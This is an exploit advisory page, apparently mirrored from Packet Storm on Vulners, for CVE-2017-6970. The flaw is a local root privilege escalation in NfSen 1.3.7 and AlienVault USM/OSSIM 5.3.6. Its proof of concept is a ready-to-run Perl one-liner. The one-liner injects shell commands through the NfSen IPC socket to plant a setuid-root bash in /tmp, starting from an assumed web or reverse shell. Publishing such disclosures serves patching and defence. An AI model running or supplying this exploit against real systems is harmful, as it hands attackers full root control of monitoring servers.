Lucene search
K

NfSen 1.3.7 / AlienVault USM/OSSIM 5.3.6 Local Root

🗓️ 10 Jul 2017 00:00:00Reported by Paul TaylorType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 57 Views

Exploit affecting NfSen 1.3.7 and AlienVault USM/OSSIM 5.3.6 for local root privilege escalatio

Related
Code
ReporterTitlePublishedViews
Family
0day.today
NfSen < 1.3.7 / AlienVault OSSIM < 5.3.6 - Privilege Escalation Vulnerability
10 Jul 201700:00
zdt
Circl
CVE-2017-6970
10 Jul 201700:00
circl
CNVD
AlienVault USM Local Command Execution Vulnerability
23 Mar 201700:00
cnvd
CVE
CVE-2017-6970
22 Mar 201714:00
cve
Cvelist
CVE-2017-6970
22 Mar 201714:00
cvelist
Exploit DB
NfSen &lt; 1.3.7 / AlienVault OSSIM &lt; 5.3.6 - Local Privilege Escalation
10 Jul 201700:00
exploitdb
EUVD
EUVD-2017-16008
7 Oct 202500:30
euvd
exploitpack
NfSen 1.3.7 AlienVault OSSIM 5.3.6 - Local Privilege Escalation
10 Jul 201700:00
exploitpack
NVD
CVE-2017-6970
22 Mar 201714:59
nvd
OSV
CVE-2017-6970
22 Mar 201714:59
osv
Rows per page
`# Exploit Title: Local root exploit affecting NfSen <= 1.3.7, AlienVault USM/OSSIM <= 5.3.6  
# Version: NfSen 1.3.7  
# Version: AlienVault 5.3.6  
# Date: 2017-07-10  
# Vendor Homepage: http://nfsen.sourceforge.net/  
# Vendor Homepage: http://www.alienvault.com/  
# Software Link: https://sourceforge.net/projects/nfsen/files/stable/nfsen-1.3.7/nfsen-1.3.7.tar.gz/download  
# Exploit Author: Paul Taylor / Foregenix Ltd  
# Website: http://www.foregenix.com/blog  
# Tested on: AlienVault USM 5.3.6  
# CVE: CVE-2017-6970  
  
1. Description  
  
The web user (in AlienVault USB www-data) has access to the NfSen IPC UNIX domain socket. This can be used to send a crafted command (complete with shell metacharacter injection) to the NfSen Perl components, causing OS command injection in a root privilege context, and therefore can be leverage for privilege escalation from the web user to full root privileges.  
  
2. Proof of Concept  
  
Pre-requisites - web user/www-data shell (e.g. web shell, or reverse shell).  
  
Execute the following command:  
  
perl -e 'use Socket; socket(my $nfsend, AF_UNIX, SOCK_STREAM, 0); connect($nfsend, sockaddr_un("/var/nfsen/run/nfsen.comm")); print $nfsend "run-nfdump\nargs=-h \$(bash -c \"cp /bin/bash /tmp\")\n.\nrun-nfdump\nargs=-h \$(bash -c \"chmod u+s /tmp/bash\")\n.\n";'  
  
This will create a set uid root bash binary in /tmp, which can then be used to gain full root privileges.  
  
3. Solution:  
  
Update to latest version of NfSen/USM/OSSIM  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Jul 2017 00:00Current
0.1Low risk
Vulners AI Score0.1
EPSS0.00529
57